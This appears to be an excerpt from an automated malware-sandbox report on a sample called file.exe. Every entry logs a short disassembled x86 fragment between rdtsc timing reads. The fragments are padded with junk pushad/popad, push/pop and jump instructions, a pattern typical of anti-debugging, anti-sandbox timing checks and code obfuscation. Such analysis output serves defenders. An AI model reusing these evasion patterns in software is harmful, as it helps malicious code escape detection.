Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102DA22 second address: 102DA9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 adc di, 2EF1h 0x0000000d push dword ptr fs:[00000000h] 0x00000014 or dword ptr [ebp+122D232Bh], esi 0x0000001a mov dword ptr fs:[00000000h], esp 0x00000021 push 00000000h 0x00000023 push edx 0x00000024 call 00007F15206D4F08h 0x00000029 pop edx 0x0000002a mov dword ptr [esp+04h], edx 0x0000002e add dword ptr [esp+04h], 00000014h 0x00000036 inc edx 0x00000037 push edx 0x00000038 ret 0x00000039 pop edx 0x0000003a ret 0x0000003b mov edi, dword ptr [ebp+122D3B93h] 0x00000041 mov eax, dword ptr [ebp+122D0199h] 0x00000047 jnl 00007F15206D4F1Bh 0x0000004d mov dword ptr [ebp+12463D0Ch], edi 0x00000053 push FFFFFFFFh 0x00000055 mov edi, 3EE56C65h 0x0000005a push eax 0x0000005b pushad 0x0000005c push edi 0x0000005d pushad 0x0000005e popad 0x0000005f pop edi 0x00000060 push eax 0x00000061 push edx 0x00000062 pushad 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102EBF3 second address: 102EBF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102F994 second address: 102FA20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F15206D4F17h 0x00000008 jo 00007F15206D4F06h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 push dword ptr fs:[00000000h] 0x00000019 push 00000000h 0x0000001b push esi 0x0000001c call 00007F15206D4F08h 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], esi 0x00000026 add dword ptr [esp+04h], 00000017h 0x0000002e inc esi 0x0000002f push esi 0x00000030 ret 0x00000031 pop esi 0x00000032 ret 0x00000033 mov dword ptr [ebp+122D37A1h], eax 0x00000039 mov dword ptr fs:[00000000h], esp 0x00000040 mov dword ptr [ebp+122D38D0h], ecx 0x00000046 mov eax, dword ptr [ebp+122D0841h] 0x0000004c xor dword ptr [ebp+12485C0Bh], edi 0x00000052 push FFFFFFFFh 0x00000054 or bx, 9AF7h 0x00000059 nop 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007F15206D4F17h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102FA20 second address: 102FA26 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1030B79 second address: 1030B7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1030B7D second address: 1030B87 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1520D32C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104355D second address: 1043561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1043F13 second address: 1043F17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1043F17 second address: 1043F23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1043F23 second address: 1043F27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1044306 second address: 1044326 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F15206D4F0Ch 0x00000008 jg 00007F15206D4F06h 0x0000000e push eax 0x0000000f push edx 0x00000010 je 00007F15206D4F06h 0x00000016 jmp 00007F15206D4F0Ah 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1044326 second address: 104432A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1044476 second address: 104447A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104939B second address: 104939F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104939F second address: 10493BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c popad 0x0000000d jno 00007F15206D4F06h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 jnc 00007F15206D4F06h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10493BD second address: 10493D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1520D32CA7h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104816D second address: 1048173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1014687 second address: 101468B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101468B second address: 101469A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15206D4F0Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1014AD0 second address: 1014AEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 xor dword ptr [esp], 2EED5B6Eh 0x0000000d mov cl, 84h 0x0000000f push F166E983h 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 pushad 0x00000018 popad 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1014B64 second address: 1014B6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1014B6D second address: 1014B71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1014C12 second address: 1014C70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15206D4F0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F15206D4F08h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 jmp 00007F15206D4F15h 0x0000002b and cx, A2D6h 0x00000030 nop 0x00000031 js 00007F15206D4F10h 0x00000037 push eax 0x00000038 push edx 0x00000039 push edi 0x0000003a pop edi 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1014D51 second address: 1014D55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1014D55 second address: 1014D69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15206D4F0Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1014D69 second address: 1014D6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1014E2D second address: 1014E32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1014F74 second address: 1014F7E instructions: 0x00000000 rdtsc 0x00000002 je 00007F1520D32C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1014F7E second address: 1014FA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15206D4F0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F15206D4F13h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1014FA7 second address: 1014FAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1014FAD second address: 1014FB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1014FB1 second address: 1014FF4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1520D32C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d or ecx, 395CC6DCh 0x00000013 push 00000004h 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007F1520D32C98h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 0000001Bh 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f nop 0x00000030 jng 00007F1520D32CA4h 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1014FF4 second address: 1014FF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1014FF8 second address: 1015010 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1520D32C9Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1015010 second address: 101501A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F15206D4F06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1015755 second address: 101577D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1520D32C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b mov eax, dword ptr [eax] 0x0000000d jmp 00007F1520D32CA3h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 pushad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101577D second address: 101578C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F15206D4F06h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10484A3 second address: 10484B8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1520D32C9Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10484B8 second address: 10484C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F15206D4F06h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10484C3 second address: 10484CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1048762 second address: 104876B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10488D9 second address: 10488E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F1520D32C96h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10488E5 second address: 10488E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1048BE4 second address: 1048BE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1048BE8 second address: 1048BF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1048BF4 second address: 1048BF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1048BF8 second address: 1048C0F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F15206D4F11h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1048C0F second address: 1048C4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1520D32C9Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 pop edx 0x0000000a jmp 00007F1520D32C9Fh 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F1520D32CA7h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1048C4F second address: 1048C6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F15206D4F15h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1048C6D second address: 1048C73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1048DC4 second address: 1048DCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1048F0A second address: 1048F10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1048F10 second address: 1048F16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1048F16 second address: 1048F2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1520D32C9Ch 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1048F2E second address: 1048F32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052335 second address: 1052339 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052339 second address: 105233F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10525D8 second address: 10525E9 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1520D32C96h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop esi 0x0000000d pushad 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10525E9 second address: 10525EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10525EF second address: 10525FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jc 00007F1520D32C96h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10525FE second address: 1052628 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 ja 00007F15206D4F06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d jmp 00007F15206D4F12h 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jng 00007F15206D4F06h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052628 second address: 1052632 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1520D32C96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10528DF second address: 10528E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052A27 second address: 1052A2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052A2B second address: 1052A42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F15206D4F11h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052A42 second address: 1052A87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F1520D32CA6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F1520D32C9Dh 0x00000015 jmp 00007F1520D32C9Fh 0x0000001a push eax 0x0000001b push edx 0x0000001c jng 00007F1520D32C96h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052A87 second address: 1052A8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052BE7 second address: 1052BEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052BEF second address: 1052BF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052BF4 second address: 1052C0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F1520D32C96h 0x00000009 jmp 00007F1520D32C9Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052E9A second address: 1052EA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15206D4F0Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1053044 second address: 105304A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105304A second address: 1053050 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1053050 second address: 1053059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105205C second address: 1052062 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052062 second address: 1052068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052068 second address: 1052083 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F15206D4F14h 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052083 second address: 1052094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1520D32C9Ah 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1058A88 second address: 1058A99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jbe 00007F15206D4F06h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1058C05 second address: 1058C0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1058C0B second address: 1058C1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007F15206D4F06h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1058C1A second address: 1058C1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1058F64 second address: 1058F68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10590DF second address: 105910C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1520D32C9Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c jp 00007F1520D32C96h 0x00000012 js 00007F1520D32C96h 0x00000018 pop ebx 0x00000019 ja 00007F1520D32C9Ch 0x0000001f js 00007F1520D32C96h 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10594DC second address: 10594E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10594E2 second address: 1059527 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F1520D32C96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F1520D32CA5h 0x00000011 push edx 0x00000012 jmp 00007F1520D32CA6h 0x00000017 jl 00007F1520D32C96h 0x0000001d pop edx 0x0000001e popad 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10599FB second address: 1059A17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15206D4F14h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1059A17 second address: 1059A1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D903 second address: 105D910 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D910 second address: 105D914 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D914 second address: 105D931 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15206D4F16h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCAC32 second address: FCAC38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCAC38 second address: FCAC44 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F15206D4F06h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106054E second address: 1060552 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
